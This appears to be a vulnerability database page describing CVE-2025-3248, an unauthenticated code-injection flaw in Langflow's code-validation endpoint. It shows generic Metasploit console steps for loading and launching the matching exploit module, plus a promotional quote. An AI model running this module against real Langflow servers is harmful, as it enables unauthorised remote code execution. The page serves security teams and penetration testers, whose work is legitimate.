Langflow versions prior to 1.3.0 are susceptible to code injection in the /api/v1/validate/code endpoint. A remote and unauthenticated attacker can send crafted HTTP requests to execute arbitrary code.
Python
python
To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/multi/http/langflow_unauth_rce_cve_2025_3248
msf exploit(langflow_unauth_rce_cve_2025_3248) > show targets
...targets...
msf exploit(langflow_unauth_rce_cve_2025_3248) > set TARGET < target-id >
msf exploit(langflow_unauth_rce_cve_2025_3248) > show options
...show and set options...
msf exploit(langflow_unauth_rce_cve_2025_3248) > exploit
Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
– Jim O’Gorman | President, Offensive Security